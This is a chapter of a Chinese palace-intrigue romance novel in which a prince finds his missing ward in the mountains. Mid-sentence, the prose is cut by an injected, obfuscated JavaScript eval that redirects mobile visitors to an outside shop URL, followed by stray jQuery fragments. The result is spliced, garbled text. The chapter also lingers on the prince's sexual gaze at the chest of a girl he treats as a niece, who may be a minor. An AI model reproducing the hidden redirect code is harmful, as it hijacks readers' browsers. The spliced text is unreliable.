67. 见面

作品:《篡位者

    “林小白……”


    萧彻的声音仍是喑哑,像是被什么咽住了,又像是被他自己死死压抑着,不敢放声说话。


    “你……终于醒过来了,你在……这里!”他忍不住趋向她。


    林漪白忙一个矮身,她身上衣裳如何见得人?而且还是那么一大堆男子。


    萧彻见她眼神警惕地躲回去,整个儿隐在大石块后头,只露出半张脸,一双漆黑闪亮的眸子一瞬不瞬地盯着自己……像是在看一个陌生人,他这下是被这眼神打击到了,心底隐隐一痛,便下意识停住了。


    他内心纷繁狂乱,一时间不知转了多少念头,却魔怔了一般说不出话、也做不出反应。正呆愣着,只听卫恒在身后说了句,“王爷,表小姐身上衣裳……”


    大石块后头的林小白突然眨眨眼,说出一声:“多谢卫大哥,我这衣裳……还真是让人难为情呢。”


    萧彻醒觉过来,不知为何皱了皱眉,头也不回地冷声说道:“卫将军便只会说么?”


    卫恒朝身后兵将看了一眼,略一沉吟,便迅速脱下自己身上的绯色武式圆领缺胯衫,双手捧了送到萧彻身后。


    萧彻侧眼看他,见卫恒一身线条贲张的精壮肌肉在阳光下明晃晃的,听他说道:“王爷,属下看了一眼,恐怕也就属下身上这件……稍微干净些,委屈表小姐……”


    “不必了。”萧彻打断他,声音无有起伏。他随即抬手解开自己腰间那柄惊蛰短刀,又挑开腰间玉带,将身上那件石青色圆领绫罗袍松脱开来,干脆利落地褪下外袍,递向石块后的林漪白。


    “林小白,穿上吧,我这就带你回去。”


    他说完便转身过去整理着自己。


    夏日衣衫单薄,他绫罗袍下并无中衣,余了一层极薄的素绢里衣,紧紧贴附在他宛若雕琢的身躯之上。阳光穿透林叶洒落,见得他宽肩收束至窄腰,身姿修长流畅,一身过于白皙的薄肌下蕴藏着含而不发的力量感,在日影之下仿若熠熠闪光。


    众侍卫兵将早已退得远远的,卫恒也忙将自己衫袍重新穿束好,跑去处理那钟老四。


    林漪白将那身王爷常服套在身上,方从大石块后头出来,那衣袍对她来说过于长了,被她用一根藤条系在腰上,看上去既滑稽又累赘。


    萧彻却看得挪不开眼,似要打消她的陌生与紧张一般,畅快地笑着说道:


    “林小白,你可是长高了不少啊,这次回去,须得令人给你好好置办几身行头才好……”


    他见她走出来时,步伐缓慢犹豫,忙又问她:


    “如今……你可是完全好了?我听你说话……好得很,走路行动这些……可都完全恢复了么?”


    林漪白看他一眼,实在不知如何称呼他,突然冒出一句:


    “我很好,白大哥,就连我的近视眼……都好起来了。”


    萧彻被她这声“白大哥”喊得一愣,心想这或许才是她对自己最好的称呼,好过“王爷”,更好过“姑父”。竟忍不住浮想联翩一番,想她或也不喜那个“侄女”的名头,或是……不愿将她与自己定位于长幼的关系。当下呵呵一笑,说道:


    “好得很,林小白,这苍云山还真是有灵,竟让你恢复到这般……你可得慢慢都讲给我听,这些日子你在苍云山里都经历了哪些奇遇。”


    听萧彻说到“奇遇”,林漪白不由自主地扭头看向自己来处,心想现下自己要离开了,却没法子跟“大白”和“大管家”打声招呼。与猴子们相处多日,她在心里已是将它们当做相知相识的朋友一般,心知它们每日太阳落山后都会等自己“用饭”,今日却是等不到了。一时间倒是有些落寞起来。


    萧彻看到女孩眼神,骤然好奇。她显是有些恋恋不舍,却是对谁不舍呢?便忍不住旁敲侧击地问道:


    “林小白,你可知你在这山里多长时日了?”


    林漪白是数着日子过来的,张口便说:“四十二日。”


    萧彻惊异于她如此笃定和快速的回答,心想她必是对此间一切极是清楚,才能这么快便答上来。即一路问下去:“我知道你是被山猴掳来的,是后来又被什么人救了你么?”


    林漪白看他一眼,立时被他灼灼发亮的眼神看得有些不好意思,垂下了眼睫,说道:“白大哥,不是要慢慢讲给你听么,怎的现下便问开了?”


    萧彻见她露出些许羞怯的娇美之态,苍白的面颊上微微泛起红晕,虽整个人蓬头垢面、衣衫不整,却莫名觉得她……好看,是那种从未见过的、动人心弦的好看。


    他平日里见惯了那些妆容精致、华服珠翠的贵女,从未有过眼下这般的心绪。也不知是因了失而复得,于是尤其觉得珍贵,还是怎的,此刻他难以自控地细细看她——看她虽长长了不少、却枯黄毛躁的头发,看她微红的面颊上几抹尘灰,看她明显长高的纤细身量,和……微微隆起的胸口。


    他上次在她床榻边时,眼神就“不经意”地扫过了那处,当时便如犯罪般避开了不去看她,此时,她身上拢着过于大了的衫袍,竟也未能掩住那小小两团玲珑。他又一次为自己不受控的眼神感到赧然,努力地、似若浑不在意地掠过它们。


    他想看她更多表情,想听她再多说几个字,她无意间做出的小动作,极是随意的一颦一笑、一举一动,竟都像投入他心湖的石子,漾开一圈圈温热的涟漪……


    他被自己心中乍然翻腾起来的热浪吓了一跳,意识到自己失态,喉结不自觉地滚动了一下,将目光稍稍移开些许,随即暗叹着,眼前这女孩,是自己好不容易才得回来的。就这么想着,又是欢喜又是心痒难耐,隐隐觉着不知要怎么样对她好才成了。


    林漪白见卫恒那边已将钟老四绑缚了带走,便移步走到“紫叶星斑草”和自己的记录表格处。萧彻随即紧紧跟上,这才知道这位闲不住的小才女,竟是在深山野岭中,也做起了格物学问。


    待他听林漪白大致介绍了“紫叶星斑草”的怪异之处,又听她说起,方才见那钟老四下得洞来,竟目标明确、径直朝这丛怪草而去,萧彻面上神情渐渐肃然紧结。


    月前,靖北王萧彻在北疆龙城接到林漪白失踪的消息,他是顶着军中谋士的苦谏、北疆不稳的隐患、以及朝廷


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190734|190377||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    内数双猜忌的眼睛,兼程南下的。


    因了洛城事故骤生,军械监爆炸,军资损毁丢失,朝廷震怒,特使将至,都督刘骏岌岌可危,萧彻此次也是要回洛城看看,这潭水究竟浑在了哪处。


    就在途中,手下截获了晋王府与一名唤作“钟老四”的神秘药农之间的隐秘通信,言辞闪烁,提及“苍云山密物”。这立刻引起了萧彻的警觉。晋王叔的手,为何会伸向苍云山?这与林小白失踪之事,是巧合,亦或……?


    他即刻命人暗中盯紧钟老四。自己则与韩青等人会合,一头扎入苍云山中。


    他们撒开人手,几乎将苍云山谷中数处猴群出没的山崖方圆数十里,皆梳篦般搜寻了数遍。


    然而山深如海,猴踪诡秘。他们日复一日地无功而返。


    却是洛城军械监爆炸案被他探知了些眉目,竟也与晋王叔一系有着千丝万缕的关联。


    晋王叔萧景琰,先皇启帝的八弟,多年来一直是宗室中的无为典范。他早早被赐予富庶而非要冲的淮阳为封地,远离权力中枢,除了必要的朝贺,几乎不涉足京城是非。


    自今上萧铎登基以来,年轻皇帝的猜忌与打压,更多地集中在了五弟萧彻身上。萧彻自请移镇北疆,虽解了京畿的“近忧”,却也引来了更深的“远虑”。正是在这种微妙的对峙之下,晋王叔以“调和骨肉”的温和姿态,渐渐在皇帝萧铎跟前得势。


    如今,晋王叔的影子频频出现在萧彻的域地。这其中究竟是何用意?


    便在此时,顾寒声从北疆接连发来密信,陈请王爷返归。韩青等人也揆情度理,恳请萧彻即刻返回北疆,应承苍云山表小姐之事,绝不会稍停。


    萧彻犹豫再三,终是又给了自己三日,决定三日内若林小白还是杳无音信,自己便须以北疆大局为要,舍了此处而归。


    恰于此时,一直紧盯钟老四的暗桩回报,这个沉寂多时的药农突然收拾行装,似要有所动作。萧彻当即令人暗中缀上。那钟老四狡猾非常,在山外几番兜转,竟一度甩掉了跟踪。萧彻等人费尽周折,两日后才重新捕捉到其入山踪迹,一路追踪至此。却不想在这与世隔绝的山谷穹洞中,峰回路转,竟误打误撞地找到了他苦苦寻觅、几乎以为再无希望得见的林漪白!


    此时,既已知晓钟老四所为何来,则眼前这丛怪异草植就变的非同寻常,若能清楚地知道其药用功效,自然便能对晋王叔多一重钳制的抓手。


    想到此处,萧彻忍不住又深深看向林小白。


    那大袍挂身、纤瘦柔弱的小女子,此时正就着卫恒取来的简陋纸笔,将她多日来画在石板上的数据表格与坐标等内容,落笔飞快地誊抄在纸张上。


    她那一身弱不胜衣的楚楚之态,让萧彻心中又是一荡,爱怜横溢,几乎就想过去搂她入怀。


    他胸腹以下猛然撞出一阵酥痒燥热之感,迅速便令他面红耳赤。


    萧彻下意识便要运力去压覆那阵“龙亢”之气。却不曾想,他并未迎来那阵熟悉的狂恶晕眩……而只是觉着那股暖洋洋的燥热之气,在他渐渐收紧的腹间温柔盘桓。